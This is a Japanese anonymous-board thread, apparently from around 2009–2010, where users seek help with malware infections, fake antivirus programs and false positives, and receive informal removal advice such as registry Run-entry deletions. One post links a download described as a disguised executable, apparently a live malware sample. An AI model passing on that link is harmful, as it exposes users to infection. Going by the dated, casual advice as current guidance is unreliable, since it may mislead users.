クリーンインストールしたのだが、どうも動作がおかしい。
　そいつはありとあらゆる嫌がらせのウィルスやトロイを仕込んできたのだが、
例えばよくアクセスする特定のサイトをクッキーをいじってアクセスできなくしたり、
絵描きなので仕事道具のアプリを起動できなくしたりと言ったところ。
　本題に移る。当然日常でブラウザを多用するわけだが、
Safariの動作が異常なまでに重い。同じ量のウィンドウとタブを開いても
Firefoxの方が遙かに軽いのだ。Mac ProのXeon x2 8-Coreなのでどう考えてもおかしい。
　私が気に掛かっているのは捕まった時、
悪あがきでそいつが「そんなの0を書き込んでインストールすればいい」といっていた事。
フォーマットの際0をn回書き込む消去オプションを選択しなかったのだが、
これが原因でまだウィルスが残っているのではないだろうか?
考えられるタイプはアプリのプライオリティを下げる物ではないかと思う。
　どう思う?

ウィルスバスターの動画？に出てくる変なハゲオヤジが気持ち悪い。
動画変えて欲しい。

急にＰＣが重くなって、実はウィルスに感染してたという話はよく聞くけど、
逆に急に滅茶苦茶軽くなって、実は(ry　ってことってあるのかな？

確かに最近対策ソフトを変えたんだけど、その直後からじゃなくて１週間後くらいだから
そのせいとは思えないんだけど。（バスター→avast!）

質問失礼します
PC素人なので不明な点が多いですが教えて頂ければ幸いです
【ＯＳ】 WindowsＸＰ
【ｿﾌﾄ】 マッカーフィー(綴り解らず申し訳有りません)
【ﾊﾞｰｼﾞｮﾝ】 最新
【ｽﾊﾟｲｳｪｱ】 不明
【ﾙｰﾀ】 有り(PS3と繋いでいます)
【スキャン結果】 問題無し
ポートの解放はしておらず、掲示板のＵＲＬをクリックした所、microsoft outlookのメール画面が大量に開かれ直ぐに電源をOFFしました、再起動後は特に問題は有りませんでした。
開かれたのがmicrosoft outlookと言うこともあり不安です。
大丈夫なのでしょうか…

>>288
http://ja.wikipedia.org/wiki/%E3%83%96%E3%83%A9%E3%82%A6%E3%82%B6%E3%82%AF%E3%83%A9%E3%83%83%E3%82%B7%E3%83%A3%E3%83%BC

ま、ただのイタズラだろ。PCに実害は無いと思うけどね。
念の為ウィルススキャンでもして、二度とそのようなサイトには行かない事だ。

>>289
なるほど、ブラクラと言うんですね
今まで広告が沢山出るのはあったんですがソフトまで出来るとは…
勉強になりました、一応もう一度スキャンかけておきます。
ありがとうございました。m(_ _)m

失礼します。
先ほど、ウィルスバスター2010でコンピュータ全体を検索してみると
TROJ_Gen cx02c7というものが3つ検索されました。
とりあえず、隔離してその後に駆除しようとしたんですが
できませんでした。
これはもう削除してもよろしんでしょうか？
回答よろしくお願いします。

>>291
意味が二通り考えられて、
�@隔離した後に駆除を行おうとしたがどちらも失敗した
�A隔離はできたけど駆除は出来なかった

どちらにしても見つかった場所や元のファイルによっては起動不可の可能性や
誤検出の可能性もあるんで。
見つかった場所なり書いた方が回答あると思いますよ。

※テンプレ使いましょう。

>>292
すいません。書き直します。
TROJ_Gen cx02c7というウィルスが3つ検出されて、隔離はできたんですが
駆除ができませんでした。

場所はそれぞれ、
C:\Program Files\kgxfyu\

C:\System Volume information\_restore{.......}
.....の所はアルファベットや大文字がずっと続いてます。

C:\Documents and Settings\Owner\Application Data\Sun\Java\Deployment\cache\6.0

の三ヶ所から検出されました。
よろしくお願いします。

>>293
一番上のプログラムファイルのフォルダに心当たりはありますか？
最近新しいプログラムをインストールしたとか。

3番目のは誤検出っぽいですね。。
一度、バスター以外のオンラインスキャンを使って同じ用に検出されるか試して貰えますか？

こんな事あり得るんですか？マウントしてウイルス検索をかけたら、ウイルス0でしたがインストールが終わったらウイルスが見つかりましたとでます。
正直に言いますがnyです。あり得るんでしょうか？

ここは、LANや個人のPCへの侵入、トロイ、ウィルス、スパイウェアなど、
様々なネット上の危険や、その対策方法を語りあうための板です。
パソコン初心者の方は、【 PC初心者板 】で、
ネット上の架空請求などは【 防犯・詐欺対策板 】で質問した方が良い場合があります。
ネット犯罪の被害に遭われた方は、まず警察に相談しましょう。 ▽ 板違いと禁止の投稿
セキュリティ関係以外のソフトの話題は板違い。→ 【 Software板 】へ
Winny関連の話題は板違い。→ 【 Download板 】へ
不正アクセスの方法、パスワード・暗号解析など、攻撃方法の話題は禁止です。
荒らし依頼は全ての板で禁止です。
禁止内容の書き込みを発見したら【 削除依頼 】をお願いします。 ▽ 同内容・類似内容スレは立てない
新たにスレを立てる前に必ず「スレッド一覧」を開き、同じようなスレがないかを
検索し確認して下さい。［ 検索方法　Win：Ctrl＋F　Mac：Command＋F ］
もし同内容・類似内容のスレがある場合は、本スレに誘導の上、削除依頼をして下さい。 ▽ 単発質問スレは立てない ▽ 複数のスレに同じ質問（マルチポスト）をしない
質問の際には「スレッド一覧」を「質問」「総合」またはキーワードで検索し、
内容がふさわしいと思われるスレへどうぞ。
他スレで誘導された時には、どのスレから誘導されたのかを必ず書きましょう。
◎ セキュリティ板の自治スレは【 削除議論板 】にあります。ご確認下さい。

　 　 　 　　　　　　　 |　　　 丶　＿　　　　.,!　　　　　ヽ
　　　　 　 　 　 　 　 >　　　　 ｀`‐.｀ヽ、　 .|、　　　　　|
　　　　　　　　　　　　 ﾞ'．　　　　　,ト ｀i､　 ｀i､　　　 .､″
　　　　　　　 　 　 　 　 |　　　 .,.:/""　 ﾞ‐,.　｀　　　 /
　　　　　　　　　　　　　`　 .,-''ヽ"｀　　　　ヽ,,,、　　 !
　　　　　 　 　 　 　 　 ､,､‐'ﾞl‐、　　　　　 .丿 : ':、
　　　　 　 　 　 　 　 ､/ヽヽ‐ヽ､;,,,,,,,,,-.ッ:''｀　　.,"-、
　　　 　 　 　 　 　 ,r"ﾂぃ丶　 ｀｀｀｀｀｀　　　..／　 ｀i､
　　　　　　　　　　,.ｲ:､ヽ／ー｀-､-ヽヽヽ､−´　　　 .lﾞ｀-、
　　　　　　　　 _,,lﾞ-:ヽ,;､、　　　　　　　　　　　　 ､､丶　 ﾞi､,,、
　　　　　　　 ,<_ l_ヽ冫｀'｀-､;,,,､､､､.............,,,,､.-｀": 　　　│ ｀i､
　　　　　 ､､::|､､､ヽ,､､.　　　　　　　　｀｀｀: : : ｀｀｀　　　　　　､.､'
　　　　　.l","ヽ､,"､,"'､ぃ､､,､､、、.、、、.、、､_､.,,．ヽ´　　　　lﾞ　 ﾞ).._
　　　 ,､':ﾞl:､､｀:ヽ､｀:､　 : ｀"｀｀｀¬――'''"｀ﾞ＾｀　　　　　: ..､丶　 .lﾞ ｀ヽ　　　　　
　　　,i´.､ヽ".､".､"'ヽヽ;,:､........、　　 　 　 　 　 ､､...,,,､−‘｀　　 ､‐　　 |ﾞﾞ:‐,　
　 ,.-l,i´.､".`ヽ,,,.".｀　　　｀ﾞﾞ'"｀'-ｰ"｀｀"｀｀r-ｰ｀'":　　　　　 _.‐′　　丿　 ,!
　j".､'ヽ,".､".､"`''｀ｰ､._､、、　　　　　　　　　 　、._,、..-‐:'''′　　 .､,:"　　丿
　ﾞl,"`"`''ヽヽ"`"｀　 ｀｀｀ﾞ'''"ヽ∠、､、､ぃ-｀''''": ｀　　　　　　､._.／｀　 ._/｀
　 ｀'ｉ｀ヽヽヽ｀''ｰi､､、: : 　　　　　　　　　　　　　　　　　 、.,-‐'｀　　 、／｀
　　 ｀`ヽン'`"｀　 : ｀~｀｀―ヽ::,,,,,,,,,,.....................,,,,．ー'｀｀＾　　　　,､‐'"｀
　　　　　 `"'ﾞ―-､,,,,..､、　　　　　　　　　　　　　　　 　: ..,､ー'"'

【使用OS】XP
【Microsoft Updateの更新の状態】最新
【セキュリティソフトと年式】ウイルスバスター16最新
【回線の種類・ルータの有無】ADSL
【具体的な症状】
謎のプログラムav_md.exeがかなり頻繁に他ファイルにアクセス（改竄？）しようとする。
【過程と措置】
ウイルスバスターでav_md.exeが他ファイルに何かしようとしたらブロックするように設定。
av_md.exeをデリートしようとしたが、できない。
ウイルスバスターでスキャンしても無反応。
STOPZilla（無料トライアル、最新版）でスキャンしてもスルー。

検索しても日本語のサイトは見つからず、海外サイトのみ。
英語がかなり不得意なのであまり情報がつかめない。
新種の悪質なスパイウェア？とか書いてある？

どうか、アドバイスお願いします。

>>298
新種のトロイだね。
オンラインスキャンはやってみた？
どっちにしてもクリーンインストールするのが一番だよ。

ああ、懇切丁寧に書いてあるじゃないか
http://comprolive.com/remove/harmful/exe/av-md-exe

>>300
ありがとう！



よｗｗｗｗめｗｗｗｗねえｗｗｗｗｗｗｗｗｗ

【使用OS】　「Vista」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「ウィルスバスター2009」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「最新」
【スパイウェア対策ソフト】　「ウィルスバスター」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「行っている」
【ルータの有無】　「無」

http://uproda.2ch-library.com/1952800XT/lib195280.jpg
こんなのが定期的に出てくるんですがどうしたらいいですか･･･
検索かけて出たもの全て削除したのですが消えません

>>302
SpyBot S&D でスキャン。
正直、「検索かけて」当たり前のようにウイルスが出てくる不潔PCなら
再インスコした方が早いと思う。

質問場所違ってたらすみません

【使用OS】　「Windows XP SP3」
【Microsoft Update（MU）の状態】　「最新(自動更新)」
【使用セキュリティソフトとバージョン】　「カスペルスキー(バージョン忘れました。去年購入)」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「はい」
【スパイウェア対策ソフト】　「同上」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「はい」
【ルータの有無】　「なし」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
PCを起動した直後に「複数の回線に接続されています。○秒後に遮断します」のメッセージ
→「データベースが破損しています。更新して下さい(この時点で
セキュリティ対策ソフトが動いてないとWindowsがエラーを出す)」
→手動で更新したら一時的に動き出すが、再起動するとまたループ

昨日まで何事もなく動いていたのでシステム復元してみたけど同じでした
簡易検索では何も見つかりませんでしたが、完全検索を
実行しようとすると(暫く放置すると)↑の症状で止まってしまいます。
これもウイルスの一種なのでしょうか？

>>304
心配するな。2009でなるらしい。俺もなっている。
リブートすると直るという報告もあるが、おれはだめだった。
先ほど更新処理のロールバックしたら直ったようにみえたが、
数分たったらまた無効になった。
いまから本家に不具合の報告してくる。
あなたも不具合の報告したら？

>>305
そうなんですか。ありがとうございます！
自分からも不具合報告出してみますね

>>303
ありがとうございます！

マルウエアが入るとYoutubeの動画をすぐ見れなくなりますね。

テンプレとマッチしないためテンプレスルーごめんなさい。
スレ違いでもすいません。
最近2ｃｈによく貼られてるこれ。
jpgがexeに偽装されてるんだけど、
ウィルスとして引っかからない。
誰かが新たに作ったのか。なんでしょこれ
http://depositfiles.com/files/qs6vezs54

EPSONのPX640の最新ドライバからウィルスが検出されたのですが・・・
WinVista
avast!4.8.1368
定義パターン最新

http://www.epson.jp/dl_soft/readme/7483.htm

「ここから使用許諾に同意してダウンロード」を押し
pxa640f654.EXEをダウンロードすると検出されます。

>>310
ただ報告したいだけか？
検出結果の真偽がしりたいのか？
ttp://www.virustotal.com/jp/analisis/ace6d50a9cf63c801d51d96bbc026ca94b91ac7b7fe068f8335e2231cb10a982-1260980413
GDataとAvastだけがマルウエアの疑いがあると申しておる。
エプソンのドライバだし誤検出とみた。

【使用OS】　「XP」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「VB2008」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「最新です」
【スパイウェア対策ソフト】　「VB」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「行っています」
【ルータの有無】　「ノートパソコン内蔵のでつないでます」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「cryp-krapというのが検出されましたが、削除や駆除できません。ぐぐってみたのですが、うまい対策がみつかりませんでした。どうしたらいいですか？よろしくお願いします。」

>>309
やっと全鯖規制解除された...orz

ウイルスですね。ちなみに、VTの結果はこれ ↓
http://www.virustotal.com/jp/analisis/2772cca77568cdf6e1ef0325613ee251dd0bcbeb446b08a25e4c7d0955b5b888-1261143781 (7/41)

確かに検出率悪いね。フリーで日本で使われてるのだと、検出できるのAVIRAとPandaだけだし。

ウイルスってか、自己解凍書庫にバッチファイルが入ってるだけだし。
しかも、forでtokensの上限値を超えてるせいで無限ループ状態になって正常に機能しないし。

>>314
BATファイルの中に日本語入ってたし、状況からすると日本のローカルなマルウェアですかね。

とりあえず、フリーで使えるベンダーで、未検出の所に検体を送ってみた。
送ったのは、Avast，AVG，BitDefender，Microsoftの4つ。

Bitが黒判定すると、Bitエンジン使ってる他のベンダーも検出するようになるはずなので、
少し様子見してみますか。

c:\windows\system32内にwinmow.exeってファイルがあったんだけど勝手にどこかと通信しようとしてて
間違いなくウィルスの類だよね？ググっても全然情報がないからどう対処していいかわからない
http://www.virustotal.com/jp/analisis/b3ff3c391b23afc78bcffbad62c6da81df5746f0e8436bca7b9c6d35e5883fc5-1261322773
http://info.prevx.com/aboutprogramtext.asp?PX5=3259908F0091A8F11AF001265582FB005D39EE85

>>315　winny やら　share やらの記述がありますね。
新しい山田の類かな。
実際こいつは何をしようとしてるの？

>>316
勝手に通信するなんてのは別に珍しくないだろ。それだけでウィルスと判断するのは早計に過ぎる。
トレンドマイクロ辺りがグレーと判断している所から、ここじゃ何とも言いようが無いんじゃないか？
PAK_Generic.001を飼いだした経緯も解らんし。

>>315
ttp://www.virustotal.com/analisis/2772cca77568cdf6e1ef0325613ee251dd0bcbeb446b08a25e4c7d0955b5b888-1261405282 (9/40)

BitDefenderが黒判定したので、Bitエンジン採用のF-SecとG DATAも黒判定になりました。（※ 上記、VT不調でPrevxの結果がない。本来、10/41）
多分、明日にはAVGとavastも黒になるんじゃないかと思います。　んで、MSEは最近対応が凄く遅いから、しばらく放置されるかも。

>>317
中身を見た感じじゃ、どうも、特定のキーワードを含むフォルダを全部バッサリと消すバッチファイルみたいだけど．．．

PCから書き込めず、携帯から失礼します。
スレチでしたら誘導をお願いします。
ダウンローダーを使ってWinrar書庫(part1〜4)を落としたんですが
PCのフォルダの“ファイルの種類”が｢HTML ドキュメント｣になっていて結合解凍出来ませんでした。
該当スレと思われるスレで再生方法を聞いた所、｢クリーンインストールしろ｣｢終わったな｣等のレスが付いたので心配です。
偽装ファイルというウィルスなのでしょうか？
参考になるか解りませんが、一応テンプレは
【使用OS】Vista
【Microsoft Update（MU）の状態】最新
【使用セキュリティソフトとバージョン】Nortonお試し版
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】最新
【スパイウェア対策ソフト】Nortonお試し版
【スパイウェア対策ソフトの更新は定期的に行なっているか】最新
【ルータの有無】無し
です。よろしくお願いします。

連投すいません
Nortonでのスキャンは無反応でした
ファイルのサイズは一つ200Mbくらいです。
よろしくお願いします。

最近、無線LAN入れたのですが、wirelesskey viewというのでキーが丸見えなのですが、どうしてですか？
一応自分はWPA2-パーソナル（AES)で暗号かけてあるのですが。

すいません間違えました

>>319
ttp://www.virustotal.com/jp/analisis/2772cca77568cdf6e1ef0325613ee251dd0bcbeb446b08a25e4c7d0955b5b888-1261532691 (11/41)

AVGが対応したので11/41。　あとはavast待ちかな...MSEはいつも通り2週間は放置だろうし。
つか、もしかしてノートンとかマカフィーとかは、誰も検体送ってないのか？これ

>>320
情報少なすぎて何とも。　ただ、普通は落としたファイルを実行もしくは開かないと、感染はしない。
（変なスクリプト入りのhtmlで感染するのは、サイトにアクセスした時にブラウザでhtmlを開くから）

ファイルをダブルクリックしたりしてなければ、普通はまあ大丈夫。　逆に、ミスでも何でもファイルを開いてれば、ちょっとヤバイ。

あと、どのベンダーもそうだけど、セキュリティソフトは過信しない方が良いと思う。検出しなければOKとは言い難い。
>313のマルウェア、なんとなくその後の経過を書いてるけど、マイナーなヤツは、見ての通り誰もベンダーに検体を送らないと、全然対応されない。

それに、P2Pはタコイカとかいう変なのが流行しているらしいので、結合したらそれだったというオチもあり得るし。

>>324
>>320です。レスありがとうございます。
落とした場所が判明し、そのサイトで他にも多数ファイルを落としていた為
信用できると判断し、拡張子を変え結合したら無事お目当てのファイルでした。
実は分割ファイルの一つをスキャンした後クリックしてしまい(ﾌﾞﾗｳｻﾞが開き文字化けした文字列がずらっと並び
IEからの応答がありません的な窓が出て来て閉じました)、非常に不安でしたが
今回はセーフだった様です。
今後はセキュリティソフトを過信せず、怪しいファイルは開かぬ様に一層気をつけます。

AVGを使っていてwin32/Zpermに感染しているとでたんですが
これはどういったウィルスでしょうか？

ttp://home.mcafee.com/VirusInfo/VirusProfile.aspx?key=186346#none
Worm みたいだが誤検出かも

Panda最強だな

HP見回ってたら固まって動かなくなったので
再起動したら、activate security toolといういれた覚えのない？
英語のセキュリティーソフトが立ちあがって
永遠ループします
AVGの日本語を入れてあるのに
なんでこの英語のソフトが常に立ちあがって来るのかわりません
AVGを立ち上げてスキャンボタンを押してもこのソフトが警告を出して
実行させません。
そしな何度か再起動していたら
画面が真っ黒になってしまいます
助けてください

>>329
現状では
FUJITUという画面が出た後
真黒になって起動しません
下にESCやbiosなどのショーとかショートカットメニューの表示はあります

おおかた詐欺ソフトだろう
MBAM ttp://filehippo.com/download_malwarebytes_anti_malware/
SAS ttp://filehippo.com/download_superantispyware/
DrWeb CureIt! ttp://www.freedrweb.com/cureit/
試してみな

>>330
マックらから進みません
F8を押して起動したら
継続とBIOSセットアップの項目が出ました
ここからできることを教えてください

そもそも>>329はなんのソフトなのか分らないので調べていたところ
DTの一番新しい配列にこのソフトらしきものがあったので
起動してこのセキュリティーソフトが立ちあがる前に
そのソフトの右クリックでそのソフトのプロパディを調べたところ
1325654といった数字のなんだかよくわからないファイルだったので
それをゴミ箱に捨て
再起動をかけたところ次は起動したら画面が真っ暗になります

これが現状です

>>331
だと思うんです
こんな一大事にセキュリティーソフトらしい動きで検索して
なんか押すとVISAで購入見たいな登録画面が出てきます
こんな状態そんなことがあるなんておかしいとは思ったんです

で、試す前に画面が暗くなってそこから動きません

とりあえずセーフモードに入ってゴミ箱から戻せば？
起動しないよりましだろう

>>334
ありがとうございます
F8ですよね
えいごのがめんがでてそっから動きません、、、、、

それBIOSちゃう？
継続してもう一回 F8

fujisu画面の下に
ESC自己診断画面
F12　起動眼乳
F2　BIOSセットアップ
トでます
F8押したまま起動できません
セーフモードさっきいけたんですが、、なんだ？

>>337
セーフモードは入れました
下の進度グラフが途中で止まります

細かい復旧指示が必要ならアダ被でやってくれ
ttp://bbs.higaitaisaku.com/cbbs.cgi

最近のウィルスの検体手に入れたいんだけど
どこかありませんか

>>340
ウイルス検知テストでもするんだと思うけど、
検体の入手場所を質問してる時点で、辞めといた方が良いと思う。

>>341
情弱乙ってこと？
もちろんVPC上で実験します。

質問ではないんだが、ノーパソ修理専門店のHPにアクセスしたら
SecurityToolやられたぞ。
いきなりJavaのインストーラ起動してやられたぞ。
とりあえず自分のPCの方は駆除して通報はしといたが。
疑問なんだが、なんで会社のHPが感染してるんだ？
どこから来るんだ？

どこの会社？
GENOじゃないのか？

ウイルス関係には疎いんだが、今度光ケーブルの工事をして家にインターネット引くんだけど、ウイルスソフト（ウイルスバスター使おうと思ってる）って工事日までにパソコンに入れた方がいいの？

パソコンはもう用意してあって初期設定も一応済ませてあるんだけど、ウイルスソフトに関してはまだなにもしてなくて
それとも入れるのにはネット環境が必要？

>>343
サイトを更新しているPCでブラウジングして
/*GNU GPL*/ か /*CODE1*/のウイルスに感染した
いま流行のWeb改ざんだな

■ 新手の正規サイト改ざんでAdobe Readerのゼロデイ攻撃〜今すぐ対策を
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2106

>>343
ヤフーの知恵袋に同様の質問があったかも。

>>345
ネットがつながらないとアクティベートできない
インストールは先でもOK
バスターはやめた方がいい

>>348
何がいいの？

無難なのはノートン

以外で選べ

モロゾフの公式サイトでトロイ絶賛配布中　2
http://tsushima.2ch.net/test/read.cgi/news/1262623225/

すいません、質問です。
小泉ウィルスというのが発見されたのですが・・・
このウィルスとはクリックしない限り感染しないのでしょうか？
また、感染している場合は何か自分で分かる現象がありますか？
　あと、最近ダウンロードした、ウィルスバスター体験版を時々止めながら使っているのですが
感染している場合は、ウィルスバスターを止めていないときに何か反応を示すのでしょうか？
よろしくお願いします。

鼻くそをよ、ホジホジする時の秘訣を伝授しようとおもう。内緒だ。ここだけの内緒だ。
爪を適度に伸ばすんあ。でよ、鼻の穴にインするわけ。爪先でかすめ取る。ゆっくりだ。
ゆっくりしろ、力を入れるな。力まずやれ、鼻んなか傷つくとそこから血が出る、
傷出来る、いたい、ばい菌入る、鼻腫れる、触るだけで痛い。これはな、俺の経験談だ。
腫れたら3日は痛い。そいうもんだ。いいか、ゆっくり、力まずな
かすめ取ったらよナイロンの袋をゴミ袋の代わりにしてだな、こねれ、ひたすらこねれ、
そすっと、固形物になてポロポロ落ちるわけ。後は爪で爪の中のを取ってまたこねて落としてハイ終わり。ティッシュあるなら、使えな。それが最速だわな

>>353
Download板へどうぞ
感染していればDownload板に勝手に書き込みするやつ

オンラインスキャンしたら
WORM_SDBOT.GAV
っていうのが検出されて、削除してくれた。

これがどんなのかがわかんないんだけど、解る人いますか？
調べても全然わかんないし、解説してるサイトも専門用語でわかんないorz

Cドライブのルートに意味のない長い文字列の名前のフォルダが作られてて、
そこにフォルダと同名のPC画面をプリントスクリーンしたbmpとjpgがあったんですが、これってウィルスがやらかしたんですかね？
ちなみにウィルスバスターは今現在何も反応していません。

タコイカウイルスっての見てみたいんですけど
どうやったら入手できますか？

>>358
水族館に行けばおｋ

三井住友カードのサイトも改ざん　ガンブラー感染の恐れ
http://tsushima.2ch.net/test/read.cgi/news/1263383229/l50

ウィルスバスターw

PCを起動したら、Adobe Flash Playerのインストールウィザードが表示されて
そこに書いてある文字が「Adobe Flash Player 縺ｮ繧｢繝・・繝・・繝医ｒ縺泌茜逕ｨ縺ｧ縺阪∪縺吶�・/font>」
と文字化けのようになっていたのですがこれはなにかのウィルスの影響なのでしょうか？
PC初心者なのでなにとぞご教授お願いします

新型GENOウイルス

ttp://www.virustotal.com/jp/analisis/5e92dd5fe8561605a0ecb138725d27373503d129195357edf3e8eef6a0a4685c-1259371503

うんこMSEは未対応

>>363
1ヵ月半も前の結果貼られても参考にならんのだが

>>363
検索で12月22日時点の結果を見つけた

http://www.virustotal.com/jp/analisis/eb8d63a5a4a2f97c1129caf0fe84ce651cc8d029cbfcad75ebdc5017793c6715-1261477560

この時点ではAvast、DrWeb、MSEあたりが未対応

昔の動画ファイルを整理してたんだけど、
あるひとつのフォルダの中の動画だけ
全然関係ない音声ファイルに変わってしまってるんだけどこれ何？
すげー怖いんだけど。だれかヘルプ。noton先生は無反応。

test

突然バイキンマンがでてきて、ウィルスばら撒くぞー、とか言って、
アンパンマンが出てきても負けちゃいます。バイキンマン強い。
そしてそのままフリーズ。強制終了で、再起動すると、またそれになる。
これ何のウィルスですか？また、別物ですか？検索しても良くわかりませんでした。

【使用OS】　「Windows Vista」
【Microsoft Update（MU）の状態】　「UPDATEしたことない」
【使用セキュリティソフトとバージョン】　「使用していない」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「」
【スパイウェア対策ソフト】　「spybot」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「はい」
【ルータの有無】　「有」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
普通に正規のサイトを見ていたらいきなり「Security Tool」というものが起動した。
更に使っていたブラウザのFirefoxが強制的にアンインストールされたのか、消えて無くなりました。
ひとまずセーフモードで起動しなおして、「Security Tool」を削除。
ほかに探していたらスタートアッププログラムに「sysdyx32.exe」というのを見つけてパスを確認し元を削除。
そしてPCを通常モードで再起動すると、「プロダクトキーが無効です」といわれログイン出来なくなりました。
これってもう手遅れでしょうか？ちなみにセーフモードでならまだ動きます。

>>369
いわゆるガンブラー(8080系)だな
ダウンローダ・タイプのウイルスだから「Security Tool」も
これが呼び込んだものと思われる
ほかにもウイルスを呼び込んでるかもしれないのでクリーンインストール推奨
とりあえずAdobe Reader(Acrobat)、Microsoft Update、JRE(Java Runtime Environment)を
最新版に更新しないとまた感染するだろう
念のためAdobe Flash Playerの更新とInternet Explorerがゼロデイ中なので
IE8に変更するといいだろう

一応復旧できるかもしれないので下記を実行
復旧したらバックアップを取ってクリーンインストール

セーフモードから起動してレジストリエディタでRunエントリ
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
から
"sysgif32"="C:\\WINDOWS\\TEMP\\~TMD.tmp"
"~TM6.tmp"="C:\\WINDOWS\\TEMP\\~TM6.tmp"
等の登録を削除

C:\Documents and Settings\ユーザー名\スタート メニュー\プログラム\スタートアップ\siszyd32.exe
をもう一度確認してあれば削除

おっとVistaだったな
ということはレジストリやスタートアップのが場所が
違うだろうから適当に読み替えてくれ

>>371
おお･･････復旧出来ました！TM6.tmpを削除したら動きました。
仰るとおりウィルスは他にもいるかもしれないので、
重要なデータのバックアップは取ったのでネットに繋ぎ、オンラインスキャンでウィルスがいないか調べてみようと思います。
その後アドバイスしてくださった通り、OSやらAdobeも最新版に更新しようと思います。
本当にありがとうございました。

>>372
クリーンインストールのほうがいいと思うが強制は出来んか・・・
一点いい忘れていたが、FTP経由で自分のWebサイトを持っていたら
アカウントとパスワードを盗まれてウイルスの配布サイトにされてしまうので
ウイルスのない安全なPCからパスワードを変更しておくようにな

>>373
トレンドマイクロでウィルスチェックしてみたのですがウィルスはもうありませんでした。
逆に不気味ですよね。クリーンインストールしたいのはやまやまなのですが、
学校で支給してもらったソフトを消すとまたインストールするのに料金が発生するらしいのです。
ですからお金が無い今はしばらくこのままでやってみます。
念のためカスペルスキー？とかいうメーカーでもやろうとしましたが出来ませんでした。
なのでavastという対策ソフトを入れてみようと思います。
とにかくいつＰＣが止まってもいいように小まめに、
重要なファイルのバックアップをとっておきます。
親切にありがとうございました。

>>374
今インストールしているのに、再インストールに料金かかる
とか、あまり聞かないけど、なんのソフト？

あと、>>373 も書いてるように、アカウントとパスワード盗まれて
いたら、被害者のつもりが加害者になるから、気をつけて。

すいません。初心者なので、わかるところだけ記入します。
【使用OS】　「Windows Vista」 手動でたまに
【Microsoft Update（MU）の状態】　「」
【使用セキュリティソフトとバージョン】　「ウィルスバスター2010」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「自動更新のはずがはずされている。」
【スパイウェア対策ソフト】　「同上」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「同上」
【ルータの有無】　「あり」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「スキャンしたがウィルスが自動的に駆除されていた」
今回で、二度目なのですがガジェットが同じものがたくさん作成されてしまいました。
削除に結構、時間がかかるのでイライラしてます。
これってウィルスなんでしょうか？

失礼します。

【使用OS】　「Windows　XP」
【Microsoft Update（MU）の状態】　「」
【使用セキュリティソフトとバージョン】　「avast」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「自動更
新のはず」
【スパイウェア対策ソフト】　「同上」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「同上」
【ルータの有無】　「有」
【スキャンの結果何が検出されたか】 「Win32:Walivun」 「JS_FAKEAV.DB」

お願いします。
avastで検出後、チェストに隔離はしましたが・・・・
以上の処理のみで大丈夫でしょうか？
FTP経由でWebサイトを持っています。
今後の危険／対処法について教えてください。

ウィルススキャンしたら感染したファイルを削除したらoutlookが開けなくなったのですが、どうすればいいですか？
OS　windows7 home premium
ワクチンソフト　G Data
オブジェクト： Outlook2.pst
パス： C:\Users\****\AppData\Local\Microsoft\Outlook
ステータス： ファイルを隔離
ウイルス： Trojan.Downloader.Bredolab.BS (Engine A)

ファイル内を根こそぎ削除したのですが、根こそぎ削除したのがいけなかったのでしょうか？

★質問用テンプレ★
【使用OS】　「XP」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「KIS2010（カスペルスキー）」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「最新になっています」
【スパイウェア対策ソフト】　「Ad-Aware」「Spybot-S&D」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「行なっています」
【ルータの有無】　「有」
【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「コンピューターまたは個人情報を破損する可能性のある合法ソフトウェア
HiddenObject.Multi.Generic
c:\ :kospre1.exe」
ウイルスとおぼしきexeファイルを実行してしまって以来、ウイルススキャンの際に上記内容を
検出するようになり、スキャン自体も「C:\:kospre1.exe//exerb」から進まなくなってしまいます。
中断・再開の手順を踏む事で先に進み、他のドライブからはTrojan.Win32.Buzus.cvwjを検出・削除、
しかし上記のcドライブのファイルは駆除・削除・隔離といった機能を一切使用できません。
このファイルの元の場所を開いてみても、当該ファイル・フォルダが見当たりません。
パスを見る限り、隠しフォルダのようなものを作られているのでしょうか？
隠しファイルも表示する設定です。なお、シマンテックやトレンドマイクロ社のオンラインスキャン等も
試してみましたが、検出されておりません。対策等あればご教授願います。

http://pc11.2ch.net/test/read.cgi/sec/1255956143/515
http://pc11.2ch.net/test/read.cgi/sec/1227543474/232
どこかで見たと思ったら、これと同じやつか。

>380
そこで書かれてる方法を試したら消せたようです、ありがとうございます

しかしカスペユーザーで同じ状況の人は他にもいるんだなあ
どういう仕組みで見えなくしてるんだろう・・・
他社のセキュリティ使ってる場合はどうなるんだろうか

Web知能テストに見せかけHDDのデータを破壊する粋なウィルスが登場
http://tsushima.2ch.net/test/read.cgi/news/1264552887/l50

【使用OS】　2000
【使用セキュリティソフト】　avast 4.8
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　最新

シマンテックのオンラインスキャンで検査してみたところ
daemon toolsのuninst.exeがW32.SillyFDCであるとの結果が出ました。
手元のavastさんでは問題がなく、virustotalで調べても問題なさそうな結果（4/41）だったので
